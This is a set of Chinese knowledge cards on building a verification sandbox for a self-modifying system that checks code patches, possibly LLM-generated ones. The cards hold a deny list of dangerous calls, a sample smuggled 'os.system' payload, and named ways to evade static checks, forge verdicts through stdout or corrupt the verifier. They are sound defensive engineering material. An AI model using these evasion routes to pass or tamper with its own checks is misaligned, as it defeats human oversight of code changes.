是什么:AST 拒绝列表是把源码解析成 AST(Abstract Syntax Tree,抽象语法树——把代码拆成一棵"零件清单树"的语法结构)之后,逐个节点对照"禁止出现的东西"清单的静态检查。清单只有两条:一是不许出现任何 import(import os、from subprocess import run 一刀切,因为这套系统的候选补丁本来就不需要外部模块);二是不许调用 eval、exec、compile、open、import 这五个"代码能自己动手脚"的口子。两条禁令也是行业惯例:安全扫描工具 Bandit(扫 Python 代码安全隐患)就内置"危险调用"与"危险 import"两族黑名单检查。

解决什么问题:专门拦"写得太能干的"候选。把 exec 这类口子拉黑的依据,官方文档写得直白——exec()"此函数会执行任意代码,喂入不可信的用户输入会导致安全漏洞"。实测一个坏候选:正常补丁尾部被偷运 import os 加 os.system('echo pwned'),它语法完全合法、编译能过,拦住它的正是这一关。遍历用 ast.walk(tree),官方说明是"递归产出所有后代节点"且不保证遍历顺序,判断只看"有没有"、不依赖先后。实现时 isinstance(n.func, ast.Name) 的判断别漏:os.system 这类属性调用的 .func 是 ast.Attribute、没有 .id 字段,漏判会直接抛 AttributeError。核心判断形如:

```
not any(isinstance(n, (ast.Import, ast.ImportFrom)) or
         (isinstance(n, ast.Call) and isinstance(n.func, ast.Name)
          and n.func.id in forbidden_calls) for n in ast.walk(tree))
```

还要看清边界。官方文档明说,ast.parse(把源码解析成语法树)成功"不保证源码是合法的 Python 代码、也不做作用域检查"——所以编译关要放在第一格,两关互不替代。语法层检查也挡不住 getattr(builtins, 'eval') 这类运行时拼名字的绕行,这是业界共识;官方文档另提醒,覆盖 builtins 并不构成安全机制。它只是纵深

防御(defense in depth,层层设防)里便宜的第一道门——按 NIST CSRC 词汇表的定义,纵深防御就是"跨多层、跨人/技术/运营建立可变屏障"的信息安全策略,真正关住候选代码的是后面的沙箱(隔离运行不可信代码的环境)。

我们的办法:在宿主机(跑验证程序的本机)上纯解析地跑这道检查、绝不执行候选,实测偷运 import 的坏候选当场被拒。

自修改复刻0005 加固Docker沙箱与协议化校验 —— 知识卡片

验证窄协议(protocolized verification exchange)

是什么:验证窄协议自造是一条固定格式的 JSON(JSON,一种键值对文本格式)消息通道。宿主把候选代码自造与验证数据打包成一份 JSON,经标准输入(stdin,进程的标准输入流)塞进一次性容器,容器干完活只回一份 JSON 到标准输出(stdout)。这个形状不是自创的:模型上下文协议 MCP(Model Context Protocol,大模型接入外部工具的开放协议)的 stdio 传输,规格正是"一次性子进程、stdin 进 JSON、stdout 出 JSON"——本协议与它同构。宿主不 import(导入并加载)容器里的代码、不解析候选的任何行为,只认 stdout 回来的那份格式合规的 JSON——"不信任"在这里落实成"只通过窄口子交换结构化数据"。

解决什么问题:如果宿主和容器之间可以自由读写文件、共享内存、随意开接口,被验证的恶意代码就有无数个口子去伪造验证结果、摸宿主环境。窄协议把交换面压到最小,而且每一份消息都能做格式校验——不合规即拒绝;"stdout 只许写协议消息"这条纪律,与 MCP 规范对服务器的硬约束"不得向 stdout 写任何非协议消息"同款。官方文档还点名了"一次性收完容器输出"这类读法的坑:Python 标准库的 communicate()(等输出收完再一次性取回的读法)会把数据全部缓在内存,官方原话是"数据量大或无上限时不要用";宿主不读、操作系统的管道缓冲区被写满时,子进程还会死锁。

我们的办法:请求形如 `{"action": "ping", "source": <候选全文>}`,宿主实测收到的回执形如 `{"action": "ping", "source_bytes": 778, "trajectories_seen": 3}`——只有这几个协议字段,没有多余信息。取舍:输出读取是"收完再检"的简化实现,上一段的官方警告正是它的短板——恶意容器理论上可先用海量输出挤占宿主内存,该短板已记入复核清单(留待收官时统一复核的项目内待办)。

内容寻址镜像(content-addressed image)

是什么:内容寻址镜像自造指镜像(Docker 的可复用打包环境)的名字由"构建材料"的哈希派生,而不是随手起的名字。具体做法:把镜像定义文件与容器入口程序两份文本一起算 SHA-256(安全散列算法,给任意内容算出唯一指纹),取前 12 位拼进名字,形如 `sandbox:4f8a2c1b9d3e`。定义文件或入口程序改一个字节,名字就整个变掉。这套思想有行业标准背书:OCI(Open Container Initiative,容器镜像格式的开放标准)规范把这种哈希叫 digest(内容标识符),官方说它"充作内容标识符,实现按内容寻址"。

解决什么问题:它把"跑的镜像"和"定义文件描述的镜像"焊死在一起。捣乱思路走一遍:假如有人偷偷改了本机现成镜像里的入口程序,让它无条件回"验证通过"——下次运行时系统按新内容算哈希,现成镜像里查不到这个名字。于是系统按锁定的定义文件现场重新构建一份干净的。想用被动手脚的镜像,得先让哈希对上,做不到。这正是 OCI 规范写明的保证:只要摘要本身经可信渠道送达,就能对来自不可信来源的内容独立重算摘要、确认它没有被改过。Git 官方文档开篇自称"内容寻址文件系统"——以内容哈希为 key(键)的键值存储,"凭哈希查本地镜像、查不到就重建"正是这个存储模型的日常用法。这和另一种核对是同一个思想:替换旧代码前,先确认目标位置恰好只有一处旧代码——先确认世界还是你以为的样子。

我们的办法:运行时先按内容算哈希查本地镜像,查不到就现场构建(取前 12 位是工程简化,OCI 规范用的是全量 sha256: 加 64 位十六进制字符)。日常红利:改了入口程序,镜像名自动变、自动重建,镜像永远和代码对齐,不需要任何人记得"重新构建"。

Docker run 最小安全配方(minimal hardening flag set)

是什么:Docker run 的最小安全配方自造指一条 `docker run` 命令上叠加的安全与资源 flag(命令行开关),把"跑不可信代码"的爆炸半径收到最小。关键认知:Docker 的默认运行其实很松——自带网络,以 root(Linux 最高权限账号)运行,权限位 capabilities(Linux 的细粒度权限集合)全开;安全不是 Docker 的出厂默认,是这些 flag 的叠加。

按"拦什么"分组的实配清单。网络与通信组: `--network none` (官方语义:只建回环网卡(loopback),数据送不出去),再加 `--ipc none` (不共享进程间通信资源)。文件系统组: `--read-only` (根文件系统只读),再加 `--tmpfs /tmp:noexec,nosuid` (要写也只能写进一块临时区:noexec 禁止执行、nosuid 忽略提权位,官方把两者列为并列项)。身份组: `--user 65534:65534` (降为非 root 的 nobody 账号),再加 `--cap-drop ALL` (权限位全丢),再加 `--`

`security-opt no-new-privileges` (官方语义:禁止容器内进程获得新权限,装了它容器里的 `su/sudo` 直接失效)。资源组: `--pids-limit 16` (限进程数,防 fork 炸弹——进程疯狂自我复制耗尽系统),配 `--memory 64m` 与 `--memory-swap` (内存和 swap 一起限,单限内存会被 swap 绕过),再加 `--cpus 0.5`。痕迹组: `--rm` (跑完即删,官方原文连容器附带的匿名卷一起删),再加 `--log-driver none` (不落日志)。对照:官方文档里 `--pids-limit -1` 才表示不限进程数。

我们的办法:把整组 flag 写成一个固定函数拼进每条 `docker run`;容器入口进程再加 `python -I` 启动开关 (Python 的隔离模式:不加载用户 `site-packages` 和 `PYTHON*` 环境变量),容器内环境一并收干净。

fail closed(关死失败)

是什么:fail closed 指安全检查凡是"没拿到可信的通过证据",结局一律是不通过——宁可全灭,也不放行;反义词是 fail open (失败时默认放行)。它的学名叫 fail-safe defaults,出自 Saltzer 与 Schroeder 的经典安全设计原则清单,核心句是(中译)"基于许可而非排除来做访问判定——默认情形就是没有权限";更锋利的论据是 fail-safe 的错误会被立刻发现(拒绝是显式的),fail-open 的错误却静默通过(原话中译:"在正常使用中可能无人察觉")。

解决什么问题:沙箱验证的"异常"五花八门,每一种都长得像"临时故障";只要任何一种被当成"这次没验完,下次再看",恶意候选就能借故障蒙混过关: - 墙钟超时(超时先强制删容器再报错); - 内存超限(OOM,内存耗尽被系统终止); - 退出码非零或输出不是 JSON(格式违规); - 容器运行时缺失(执行环境不在)。fail closed 把"没验成 ≠ 验过了"写成铁律:所有异常殊途同归,结论都是拒绝。

我们的办法:宿主侧设一个统一的失败出口——上面任何一项异常都汇入同一个"检查失败"出口,检查灯表自造一格不亮。实测一个夹带恶意 import 的候选连沙箱门都没摸到:在更前面的静态检查就被拦下,沙箱的钱没花。

自修改复刻0006 容器内语义检查上 —— 知识卡片

行为级验证(behavior-based verification)

是什么:行为级验证自造指把候选代码真正执行起来、按"它办事对不对"来裁决。静态检查只能看"代码像不像好代码",而改动说明书(diff,逐行写明删了什么、加了什么文本)完全可以长得人畜无害、行为暗中使坏。

为什么重要:它让"能不能信任一个补丁"变得可证,而且不看出身:不管补丁是确定性模板生成的还是大模型写的,都得在行为考试里拿同样的分。配套还有一道负对照(negative control,借自实验科学的标准名词:与试验组同样处理、预期无效应的对照)——把修好前的老版本喂进同一套检查,它必须挂;对照一旦出了效应,按定义就提示污染或偏倚,检查区分不了"带病的"和"修好的",就是摆设。

我们怎么用:容器内的验证程序把候选源码执行起来逐项考试,回一份 `{"checks": {...}}` 形态的布尔表,宿主据此点亮检查灯表自造的对应格。实测老稳定版自造在"失败重放"(重放当年失败案例,考它敢不敢乱重试)与"永久错误熔断"(考不可重试的错误是否一次就停)两项必挂,修复后的候选全部通过。

独立命名空间加载(isolated-namespace exec)

是什么:独立命名空间加载自造指用 `exec(compile(源码, ...))` (内置的"先编译再执行"组合)把候选代码装进一个独立字典当命名空间跑起来。命名空间指变量名与函数名到对象的映射;它好比一个一次性房间自造,房间里冒出来的函数对象都能按名字取出,如 `namespace["should_retry"]` 拿到的就是候选定义的那个函数。

解决什么问题:验证行为的前提是先把候选"加载并体检",而加载方式本身有讲究。Python 官方文档对 `exec` 的说明是:可选的字典参数省略时,"代码就在当前作用域执行"——名字会漏进验证程序自己的作用域;给了独立字典,候选的任何名字都出不了房间。还有一条官方提醒必须记住:官方明说覆盖 `__builtins__` (Python 内置函数所在的字典)"不是安全机制——被执行的代码仍然能访问全部内置函数"。命名空间隔离只隔名字,安全要靠外层的容器边界。这里还有一层自创观点自造:同一个操作,权限取决于它在隔离边界的哪一侧。同一个 `exec`,在宿主机上是静态检查的头号禁词(执行任意代码的口子),在一次性容器里就是干活的工具。

我们的办法:容器内固定用 `exec(compile(源码, "<候选>", "exec"))`,独立字典)加载候选;宿主上的静态检查依旧把 `exec` 列为禁止词,两层规则并行不悖。

签名兼容检查(signature compatibility check)

是什么:签名兼容检查自造是用 `inspect.signature` (Python 标准库的内省函数,返回函数的参数签名)把候选函数的签名与约定逐字符比对的检查。签名指一个函数收哪些参数、参数叫什么——它是候选补丁与所有现有调用方之间的契约,契约不容补丁重谈。

解决什么问题:自我修改最容易踩的坑是"改了内部,毁了接口":补丁哪怕写得再聪明,把参数改个名,生产里按老签名调用它的代码当场全炸。这个检查保护的正是调用方而不是候选自己。比如约定重试函数必须还是 `(error_code, retryable, attempt)` 三个参数;补丁把它缩成 `(error_code, attempt)` 两个,就算行为再对也直接拒。比对本身还有个官方细节: `inspect.signature` 默认 `follow_wrapped=True`,会沿 `__wrapped__` 链解开装饰器——被 `functools.wraps`(保留原函数元信息的标准装饰器)包过的函数会直接报出原函数的签名,比对前无关这个默认值是个真实决策点。解析失败时官方约定抛 `ValueError`(给不出签名)或 `TypeError`(类型不支持),一律按检查不通过处理。

我们的办法:容器内对每个公开函数做整串比对,形如 `str(inspect.signature(候选函数)) == "(error_code, retryable, attempt)"`——`str()` 出的是官方的规范渲染。取舍:整串文字比对比 Python `Signature` 对象自带的 `==` 相等比较更严,连注解写法的差异都敏感,实测签名无漂移的修复候选过此格、漂移的当场出局。

失败重放(failure replay)

是什么:失败重放自造是把当初生产里失败的事故记录原样重放给候选补丁、逐次核对它反应的验证方法。考卷只从失败轨迹自造里收 `outcome` (结局字段)为"失败"的案例;对每条轨迹的每个尝试序号(第 0 次、第 1 次……直到它实际试过的最后一次)都问一遍候选"这次还该不该重试",要求全部回答"别试了"。

为什么重要:它把"修好了"从改动说明书上的一行 diff,变成对原始事故的逐次可核对答复;考卷是当初真实发生的事故,不是凭空编的测试用例,补丁糊弄不过去。用标准行话说:它一半是回归测试(regression testing)——ISTQB(国际软件测试认证委员会)的定义是"程序修改后再次测试,确认改动没有在未变的区域引入或暴露缺陷";另一半是对改动本身的复测,行话叫确认测试(confirmation testing,ISTQB 定义:修复缺陷后再次运行,确认该缺陷引起的失败不再复现),运行时领域同款的还有 Azure 熔断模式的"失败请求重放"(记录失败请求,等服务恢复再重放)。

我们怎么用:实测两条支付失败轨迹共 7 个提问,修复后的候选 7 问全部答"别试了"。一个易看漏的边界:超时后重试成功的那条轨迹不在考卷里——它的结局字段是成功,属于"临时恢复"(考超时后重试能不能成功)考题的正样本(术语:测试里预期应当通过的用例);重放考卷只收失败的案例。

永久错误熔断验证(nonretryable circuit-breaker check)

是什么:永久错误熔断验证自造专考"不该重试的错误是否立即止损":才失败 1 次,问候选的熔断函数(候选代码里做熔断判断的函数)跳不跳闸。熔断(circuit breaker)是分布式系统的成熟模式,Azure 的官方定义是"失败攒到阈值后,暂时切断对一个远程服务的访问,而不是反复重试注定失败的操作";经典实现分三态:Closed(放行)、Open(切断)、Half-Open(半开试探)。

解决什么问题:病根之一是熔断函数只看次数不看错误类型,让"银行明确回绝"这种永久性错误陪跑满 5 次才断。判据要按错误类型分类,不是本卡片独有的讲究:Azure 把"按异常的性质调整策略"列为设计要点。Resilience4j(Java 生态主流的熔断库)的配置项就分成 `recordExceptions`(计入失败统计)与 `ignoreExceptions`(忽略不计)——按错误类型分类计数是行业惯例。检查只问一句"连错 1 次,跳不跳":修复后的候选答"跳",老稳定版按 `1 >= 5` 算出"不跳"必挂——一个提问就把病灶与疗效分开。"一次就断"也有行业背书:Azure 叫它加速熔断(accelerated circuit breaking),响应里信息足够判定时允许立即跳闸。

我们的办法:提问形如"连续失败 1 次且错误类型为不可重试,该开闸吗",实测修复候选答"开"、老稳定版答"不开"。熔断判据必须同时看次数与错误类型,只数次数的版本在这道题前无处遁形。

输出通道独占(stdout blackhole for untrusted code)

是什么:输出通道独占自造指候选代码执行期间,把它进程的标准输出整体重定向进一个黑洞写入器自造。实现用标准库的 `contextlib.redirect_stdout`(官方定义:临时把 `sys.stdout` 重定向到另一个文件或文件类对象的上下文管理器),官方示例用的就是标准库的 `io.StringIO`(内存里的字符串流):`with redirect_stdout(io.StringIO())`。自实现的丢弃版不占内存,StringIO 版多一个留存下来做审计的选项。

解决什么问题:候选是不可信代码,而协议走标准输出——候选哪怕只是无心地 `print` 几句,也会往协议通道里塞脏字节;存心的话,更可以伪造一份 `{"ok": true}` 冒充验证结论。把候选的打印全部吸进黑洞,标准输出上就只剩验证程序最后写的那一行 JSON,污染与伪造都无从下手。但官方文档自己给了两条警告:一是它改的是全局的 `sys.stdout`;二是对子进程的输出完全无效。从"改的是全局的 `sys.stdout`"这条警告也能推出来:它只换 Python 层的引用,候选用 `sys.__stdout__` 或 `os.write` (底层系统调用写文件)直写 1 号文件描述符(操作系统的标准输出通道,即 `fd 1`)照样漏出去;起子进程则是另一个漏出口。在"候选可以伪造 `{"ok": true}`"的威胁模型下这是实质漏洞——所以候选始终跑在容器里,漏出去的字节也只漏进一次性容器;协议通道"只许验证程序写"的纪律,与 MCP(模型上下文协议,大模型接入外部工具的开放协议)规范"不得向 `stdout` 写任何非协议消息"的硬约束同款。

我们的办法:用 `with redirect_stdout`(黑洞写入器):包住整段候选执行,实测就算候选连打一万遍,宿主收到的也只有协议 JSON 一行;起子进程那类逃生通道,则由容器边界兜底。

自修改复刻0007 容器内语义检查下 —— 知识卡片

成对检查自造

是什么:成对检查[自造]指每一项"新行为必须变对"的检查旁边,都站着一项"旧行为不许变"的检查,两者互为配重的验证设计。只考新行为的验证体系会培养出投机取巧的补丁:最省事的过关修法是把出问题的功能整个禁掉。比如把重试一刀切关掉,失败重放自造照样满分——可临时故障也没人重试了,超时恢复率从 100% 掉下来。治一个病不能治出另一个病,反向考题必须成对出现。

为什么重要:它把"验证体系自己会被应试"这件事纳入设计。旧行为那半边,近亲是业界的不变式(*invariant*,任何改动后都必须仍然成立的性质);把它逐条落成检查,就是后文回归测试的思路。新行为那半边,对应性质测试(*property-based testing*,验证"代码普遍该成立的性质")要守的 *property*。蜕变测试(*metamorphic testing*,用"输入变了但输入之间该满足的关系仍成立"来出题)里源考题与配重考题(*source / follow-up test case*)的分工,与失败重放和临时恢复的配对结构相似。补丁(尤其是将来的大模型补丁)会在考卷结构里找最省事的过关路径,单边考题等于邀请它用阉割功能换绿灯;成对出题之后,想全绿就必须真的把病治好、且不伤别处。

我们怎么用:实测一个把重试整个禁掉的偷懒补丁,在"新行为必须对"的几格检查里全绿,到"临时恢复"这一格当场熄灯。成对检查专逮卷面全对却功能被阉的候选自造。

临时恢复检验自造

是什么:临时恢复检验[自造]是一道专考"该重试的还得能重试"的行为检查。它问候选自造"可重试的临时超时错误、第 0 次和第 1 次尝试,该再试吗",必须答"再试"。它考的对象,对应业界重试模式(*Retry pattern*)里的瞬时故障(*transient fault*,偶发、通常会自愈的错误,稍候重试多半就成功)。它也是失败重放自造的配重——失败重放说"失败过的别再试",这条说"该重试的还得能重试",两句话合起来才是完整的重试纪律。

为什么重要:业界重试模式本就把"放弃(*cancel*)"与"重试(*retry*)"并成一对,还自带次数上限——重试到预定的次数仍不成功,就按失败上报。瞬时故障时好时坏,围绕它写的测试若不控制随机性,就成了 *flaky test*(不稳定测试:同一份代码既跑出过通过、也跑出过失败);同理,修复"不该重试的在重试"时,不能顺手把"该重试的能恢复"也修没了。

我们怎么用:提问形如 `should_retry("TEMPORARY_TIMEOUT", True, 0)`,期望答案是"再试";实测修复后的候选两句全答对,一刀切禁掉重试的候选在这格熄灯。

旧任务回归自造

是什么:旧任务回归[自造]是把补丁动手之前世界本来的老规矩逐条重演、要求新补丁对这些老场景的回答一分不许漂移的行为检查,守的正是"旧行为不许变"的不变式(*invariant*)。考题就是旧行为的行为快照,比如:第 0 次、第 2 次尝试可以重试,第 3 次不行(3 次封顶);连续临时失败 4 次不熔断(*circuit breaker*,失败攒到阈值就暂时切断对下游调用的模式),攒到 5 次才熔断(阈值还是 5)。

为什么重要:这是回归测试(*regression testing*,软件测试标准 *ISTQB* 对它的界定:改动后重测软件的未变区域、确认没有在这些未变区域引入新缺陷)在行为层的用法:补丁的世界里,旧行为是防波堤。它有个在 *ISTQB* 里分开定义的搭档——确认测试(*confirmation testing*,重跑上次失败的用例、验证修复确实生效),失败重放自造与临时恢复检验正对应这一侧。对将来真实大模型交来的补丁,"看起来合理但破坏旧行为"是最典型的失败模式,这道检查就是专门拦它的。

我们怎么用:老规矩全部写成"具体输入→期望输出"的硬编码断言;实测修复后的候选自造逐问答对,动了病灶之外行为的补丁会当场暴露。

金丝雀过拟合考题自造

是什么:金丝雀过拟合考题[自造]是一道专拿失败轨迹自造里从未出现过的错误码出题的行为检查,考补丁学会的是"规则"还是只背下了"答案"。这里的 canary 取"金丝雀式预警"之意,与发布领域的金丝雀发布(canary release,新版本小流量逐步放给真实用户)同名不同物:那边是放量上线,这边是预警用的小考题。考法带一处陷阱:挑一个躺在永久错误清单里、但数据里从没出现过的码(例如 `AUTH_DENIED`),故意把它标成 `retryable=True`,看候选自造听规则还是听标记。

为什么重要:防的是过拟合(overfitting,模型把见过的材料背得太熟、换新数据就答不对的机器学习通病,即"背答案"压过了"泛化")。题目取自从未参与修复的留出集(held-out set,从头到尾不给修复看、专门用来考试的题目),这类从没露过面的输入(unseen input)最能照出背答案;只拿修过的那个错误码出题,等于鼓励补丁写死"只认识这一个码"。一对互相矛盾的信号一给,背答案的补丁当场露馅,学会查表规则的补丁才过得去。

我们怎么用:期望答案是"不重试、1 次就熔断,同时临时错误的恢复不受影响";实测学会查表规则的候选三项全对。

回滚就绪验证自造

是什么:回滚就绪验证[自造]是把"退路"也当考生的一道检查:它验证的不是候选,是回滚目标。做法是发布候选之前,先把稳定版自造源码也执行、考试一遍。确认版本号还是老的(比如 `VERSION` 仍是 `1.0.0`),老行为(比如第 0 次重试、第 3 次拒)依然健康。

为什么重要:发布领域里回滚本就是"切回去":蓝绿部署(blue-green deployment,新旧两套环境并存、随时整体切换的发布方式)的回滚,是把流量切回一直没接客的那套;金丝雀放量的大部分时段,老版本仍承接主要流量,是天然退路。但蓝绿部署的文档只写切回,不要求先验证切回目标可用——"退回前先证明退路现在就能跑"是本文的自造加严,与运维界"备份必须试恢复"的恢复演练(restore testing)是同一条纪律。这也是"敢灰度"的底气来源(灰度发布:canary release,新版本先放给一小部分真实用户、稳定版继续承接主要流量的分阶段放行方式)——退出通道被证明是通的,发布决策才大胆得起来。

我们怎么用:实测稳定版通过版本号与老行为考试,证明退路是通的;发布环节因此可以放心把候选放进灰度。

考题住在可信根一侧自造

是什么:考题住在可信根一侧[自造]指行为检查的考题代码必须放在补丁改不到的那一侧。它们与验证程序一起归入可信根自造。

解决什么问题:考题就是验证体系的裁判规则;如果考题本身写在后续流程(将来包括大模型补丁生成)够得着的地方,删掉答不对的几行断言,全绿就唾手可得。NIST 还给"专管校验更新"的信任根单列了子类(update verification),与这里"验证器不许被补丁改动"的约束几乎一一对应。考题不可改写,绿灯才有含金量;这与"稳定版代码、审计日志(按时间顺序记录系统活动的日志)、验证器不进自我修改权限"是同一条安全骨架。

我们的办法:全部行为检查连同验证程序一起,住在容器内的验证运行器里、归验证器一侧,不放在宿主(跑验证流程的本机)任由后续流程修改;每道考题都是"几组具体输入→期望输出"的硬编码断言,没有模糊地带——比如"第 3 次尝试还该重试吗→必须答不"就是这样一条写死的断言。

自修改复刻0008 发布决定与manifest —— 知识卡片

发布决定公式自造

是什么:发布决定公式[自造]是全部检查跑完之后"由谁、按什么规则说可以上"的最终裁决式,写成一行就是: `accepted = candidate.get("changed", False) and bool(checks) and all(checks.values())`。它对应发布领域的门禁实践:质量门禁(quality gate,衡量代码达标与否的一组条件)与部署门禁(deployment gate,满足既定条件才放行部署),经典问法是"今天能不能把项目发布上线"。业界门禁常留人工审批一环,本公式更严:决定是一段确定性代码,不是一个角色,同一个候选自造谁来跑都是同一个决定。

为什么重要:如果"能不能发布"由生成补丁的一方自己顺口说了算,验证体系就是摆设——考生自己给自己打分;将来换成真实大模型生成补丁时,这一点只会更要紧。公式还有两个易漏的细节。其一, `bool(checks)` 守卫:灯表自造为空也算不合格——Python 官方文档写明 `all()` 传入的序列为空时返回 `True`, "没跑检查"会被误判成"全过",这里显式堵上。其二,"连改都没改"的候选(`changed=False`)哪怕检查全绿也拒,理由是"没有改动稳定版自造源码"——自我修改连改都没改,不算完成修复。

我们怎么用:决定只有两个出口——有实际改动且灯全绿才放行进灰度(灰度发布:canary release,新版本先放给一小部分真实用户、稳定版继续承接主要流量),否则拒绝;决定与理由一起产出,机器读决定、人读理由。

发布清单(release manifest)

是什么:发布清单自造是发布时把决定与依据固化落盘的机制。"release manifest"并非业界标准词,对标的是软件供应链的证明件(attestation)思想:SBOM(软件物料清单,类似一份配料表)与供应链分级标准 SLSA 的出处证明(provenance,关于产物"在哪、何时、如何制成"的可验证信息);in-toto 是这一族里较早且知名的标准。哈希锚定产物、diff(diff:逐行写明删了什么、加了什么的改动说明书)锚定改动、检查结果锚定验证、出处锚定来历、理由锚定拒绝——一句话:结论可以不信,证据必须齐全。

解决什么问题:发布环节光吐一句"行/不行",事后没法复核;有了 manifest,任何人(审计者、未来的你)拿着它就能复核这个决定,不需要重跑整个流程。三方指纹里回滚哈希等于稳定版哈希——回滚目标就是现在生产上跑的这个版本,不是"某个老版本";"最小 diff"也从口号变成 patch_size 里可核查的数字。一份好候选的 manifest 长这样:

```
{"stable_sha256": "3fa8...", "candidate_sha256": "9c2d...", "rollback_sha256": "3fa8..."
"patch_size": {"added": 8, "deleted": 4, "changed": 12},
"provenance": {"generator": "deterministic", "model": null, "api_calls": 0}}
```

provenance(出处记录)写明补丁在何地、何时、经何步骤生成(where / when / how),调没调模型,留底待查;换成大模型生成后这一栏会是另一副面孔。

我们的办法:manifest 由发布决定代码在裁决时同步生成并落盘,实测好候选与被拒候选各存一份、字段对齐。

放行只到灰度自造

是什么:放行只到灰度[自造]指发布决定通过后的落点不是生产,而是灰度这一档缓冲区:经典灰度发布(canary release)按业界定义是逐步把新版本放给一小部分真实用户。本系统里,候选自造只在容器内的验证流量里试跑、真实用户碰不到。它更接近镜像流量(shadow/mirrored traffic,把请求复制给新版本、真实用户不受影响)与暗启动(dark launch,真实负载下运行但功能隐藏)一族。清单(发布清单:把发布决定连同全部依据固化成的一份可审计文件)里 scope 字段写死"shadow traffic only; stable remains unchanged",把上线半径钉死——决定只到这一档,越过去要有新的证据。

解决什么问题:灰度是发布系统和生产系统之间的缓冲带;若放行即上生产,一个漏网的坏补丁就直接打给全部用户。业界把放量本身当决策:canary 本质是分阶段放量(staged rollout),每加大一档流量都算一次新的发布决定,要有新证据才继续。配套的关键设计是回滚触发条件(rollback trigger)预先写死在清单里,例如"任何一次不可重试错误重复,或临时恢复回归,立刻回滚";这也早有先例——业界称之为"集群免疫系统"(cluster immune system),回归指标一超统计显著性阈值就自动回滚。触发条件在发布前定好,不是出事后临场争论。

我们的办法:清单的灰度栏写死镜像/影子验证流量的范围与预声明的回滚触发条件,稳定版自造一个字节不动;退路健康另有专门的回滚检查背书。

拒绝留档与全因枚举自造

是什么:拒绝留档与全因枚举[自造]指被拒候选自造也要落一份与放行清单平级的存档。拒绝理由还要把灯表自造里没过的灯全部列出来、而不是只报第一盏。NIST(美国国家标准与技术研究院)把审计日志(audit log)定义为"系统活动按时序排列的记录,含给定时段内的访问与操作"——审计对象是全部系统活动,不放行的同样在册。被拒候选的理由栏形如 "failed gates: security_scan, sandbox_execution, ..." ——审计者能看清它死得多彻底。

解决什么问题:只报第一个失败项,审计者会误以为后面的检查没跑或没问题;全列出来,才看得出整条验证链每一格都被正确触发过。"全因枚举"没有单一对应的标准文档,但有两层近亲:工程界"一次性报告全部错误"的老惯例(编译器、表单校验都这么做),与审计记录完整性要求(日志须足以重现事件序列)。“拦了什么也要留下记录”本是安全审计的通用纪律,这里把它落成结构化档案:拒绝理由机器可读、人也读得懂,哪些提案被拒过、为什么,本身就是审计的一部分。

我们的办法:好候选与捣乱候选(比如偷运 import os 的)各落一份清单;实测捣乱候选在静态检查就被拦下、后续检查全灭,理由栏把每一盏没亮的灯都点了名。

0009 可信根自证 —— 知识卡片

可信根封条对比自造

是什么:可信根封条对比[自造]是在验证流水线开工前与收工后,对一批"被假定不会被腐化"的文件各算一次 SHA-256 哈希、再逐个比对的完整性自证方法;SHA-256 是安全散列算法,给任意内容算出固定长度的单向指纹,内容改一个字节,指纹就面目全非。被点名的这批文件借安全工程的正式概念**可信根(root of trust)**之名——美国标准机构 NIST 把它定义为天生被信任、必须从设计上保证安全的起点,其余信任都由它派生。这套自我修改系统点名的六个,覆盖生产正本、事故记录存档、聚合与发布决定的代码、沙箱(隔离运行不可信代码的环境)驱动、逐项行为检查程序、沙箱的容器镜像定义文件。六个全是"验证与依据"侧的角色,没有一个是"被验证对象"——候选代码与运行产物本就不在名单上,本来就该被流程随便折腾。

为什么重要:验证体系自己也需要被验证。六个名字各有其守:· 生产正本——稳定版自造里的重试控制代码——被改,回滚回去的就是被改过的版本;· 失败轨迹自造存档被改,想让系统"修"什么就能伪造出什么依据;· 主裁判(聚合与发布决定的代码)的比较逻辑被改,"拒绝"当场变"放行";· 狱吏(沙箱驱动程序)的容器参数被改一个,"禁网"变"通网";· 阅卷人(逐项行为检查程序)被改成无条件返回通过,考试作废;· 图纸(沙箱的容器镜像定义文件)被换掉基础镜像,全部加固作废。最毒的攻击根本不绕沙箱、不碰检查项,而是直接改写验证器本体,让验证体系反过来给危险行为盖"已验证"的章——腐化的验证体系比没有验证体系更危险。这与"考题住在可信根一侧"(行为检查的考题必须放在补丁改不到的那一侧)是同一威胁的两面:那张卡讲考题该放在哪,这张卡讲拿什么证明它真没被碰。还有一条容易被当成口号的道理:口说无凭,"我没改"不值钱,密码学证据才值钱;"重要的东西要保护好"是愿望,"这六个文件前后哈希必须一致"才是机制——可信根是一份白纸黑字的名单,不是一种感觉,权限边界因此可审计。工业界对应物是可信平台模块(TPM,硬件形态的可信根)的度量启动(measured boot):启动时逐个组件计算度量值、累积进防篡改日志,再交远端服务器核验;这与本卡"开工前、收工后各拍一次快照"是同一思想的不同工程形态,类比而非同一机制。层级上也须点明:严格按 NIST 的定义,可信根是信任的来源(如硬件密钥、启动固件),这六个文件是信任链末端被重点看护的可信表面(trusted surface);本卡借名取义,把整份名单当作自证体系要守护的根。这套做法也是"先确认世界还是你以为的样子,再行动"的又一次落地:替换旧代码前先确认目标恰好出现一次、镜像名由构建材料的哈希派生,都是同族手段。

我们怎么用:流水线入口先给六个可信根逐一拍哈希快照,出口再拍一次,逐个对比后输出单一布尔结论,形如 `trusted_surfaces_unchanged = True`;对比过程逐文件打印 `✓/✗` 供人复核。实测整条流水线跑完,六份指纹纹丝不动。

规范化指纹(canonicalization / canonical JSON)

是什么:规范化指纹[自造]指哈希之前先把结构化数据转成一种与键序、空格无关的规范表示,使"内容相同 → 表示相同 → 指纹相同"成立的预处理步骤;这里的指纹指用 SHA-256 这类摘要函数给数据算出的比对值。Python 里最短的三步写法是"先排序、再文本化、后哈希": `repr(sorted(item.items()))` 先把键值对按键排序,再用 `repr()` 转成确定性的字符串表示,最后喂给哈希函数。注意 `repr()` 输出的是 Python 字面量(布尔与空值写作 `True/False/None`,字符串用单引号),并非标准 JSON(JSON,一种键值对文本格式)——这套简写只在同一语言内部自治,跨语言、跨系统互算要用行业正式标准。

解决什么问题:直接对结构化数据的原始文本算哈希,"同一份数据"可能算出不同指纹。JSON(一种键值对文本格式)的键序在不同语言、不同序列化器下可能不同; `{"a":1,"b":2}` 与 `{"b":2,"a":1}` 是同一份数据、字节却不一样,指纹就对不上。反过来,格式化产生的空格差异又会造成"没改却被判改了"的假阳性;数字还有更隐蔽的一种——**1 与 1.0、100 与 1e2** 写法不同、数值相同,直接哈希也是各算各的。所以凡是要给结构化数据做指纹或签名,第一步都是先想清楚"什么算同一个"。这个套路的行业正式版本是 JCS(JSON Canonicalization Scheme,RFC 8785,规范化 JSON 的正式标准):键递归排序、去掉多余空白、固定转义规则、数字按统一规则序列化、统一用 UTF-8——思路完全一致,哈希前先规范化。

